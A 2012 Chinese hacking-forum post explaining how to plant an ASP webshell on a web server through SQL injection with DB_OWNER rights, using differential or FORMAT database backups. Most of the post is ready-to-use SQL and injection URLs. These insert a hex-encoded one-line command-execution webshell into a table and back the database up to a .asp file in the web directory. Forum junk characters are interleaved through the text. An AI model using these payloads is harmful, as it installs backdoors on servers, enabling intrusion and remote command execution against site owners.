找回密码
 立即注册
查看: 3063|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:* A5 s  g/ \( c9 d( S0 n
- G- o8 z' q0 r& v8 v+ L
减少备份文件大小,得到可执行的webshell成功率提高不少
# E: G7 z3 a0 N$ H- n3 @一利用差异备份5 O8 E3 K& b$ ~+ O
加一个参数WITH DIFFERENTIAL2 b0 V3 S$ j$ Y0 H6 i2 A
' f$ z" F! c# _. K& V
1: i1 `: ]) x* {; J; n
29 I7 }) [: |& ]3 ?8 A
37 U" ^! S0 S1 _* r
4
8 Q* e- P; L5 G4 b4 t3 _2 q7 K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, X" s' J# c2 _, ]8 tcreate table [dbo].[xiaolu] ([cmd] [image]);' O& _+ V% g) `
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& g# J% o% r9 V" d, Mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
. f! s# O+ Y. ]) `# w* ]) h. p/ @
二利用完全FORMAT
8 C% U& m: T7 ~9 C$ |加一个参数WITH FROMAT
) S. R5 a( x. w% D5 q' z有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
. p+ O1 `0 r% m5 I" r( ~4 b/ X  `+ a. r& U
1
, E- m# ]8 z) L* u+ b$ }/ Z20 s% Z3 y. T1 G  Q6 T  F' R6 Q
3& q3 \! V  u3 J" \  M5 _; _# F
4
7 S4 S4 V# a5 X+ f( `( g5 U4 @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s1 a2 |8 S' k5 |2 x( ?8 Z3 |. O4 n3 i
create table [dbo].[xiaolu] ([cmd] [image]);/ C& C/ [( g) v, c( Z/ s9 S
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# D  }# e& d, e7 I7 Q7 zdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
% Y% ]0 U) {2 B0 u( n9 J2 z* \( R* P" E1 Z
总的来说就是那么简单几句,下面以备份数据库model为例子& U: K: O& k  H" b: T8 J2 _+ v
1
/ X* W8 L% a4 \3 z
1 r' J' z1 u% g& t5 J6 d# a1/ P4 w4 X5 P& }9 z4 r% B
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') & ]/ B6 w. W2 i5 ~. n+ Y

- P6 x0 R3 \1 ~: m3 v* m. }2
1 n1 n$ |5 d1 B1 W
$ h0 y1 {1 R  Q+ h$ B6 X' c$ @3 ]1% |  J: N* [8 h5 l
id=1;backup database model to disk='你的路径‘ with differential,format;-- / p7 F- Z) r# G& h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表